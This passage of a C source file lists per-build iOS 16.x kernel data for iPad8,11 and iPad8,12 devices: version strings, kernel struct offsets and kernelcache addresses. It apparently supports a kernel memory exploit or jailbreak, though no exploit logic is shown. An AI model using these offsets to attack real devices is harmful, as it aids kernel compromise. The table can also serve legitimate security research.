0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,11\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,11\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,12 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,12\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,12\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,12\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,12\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,12\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 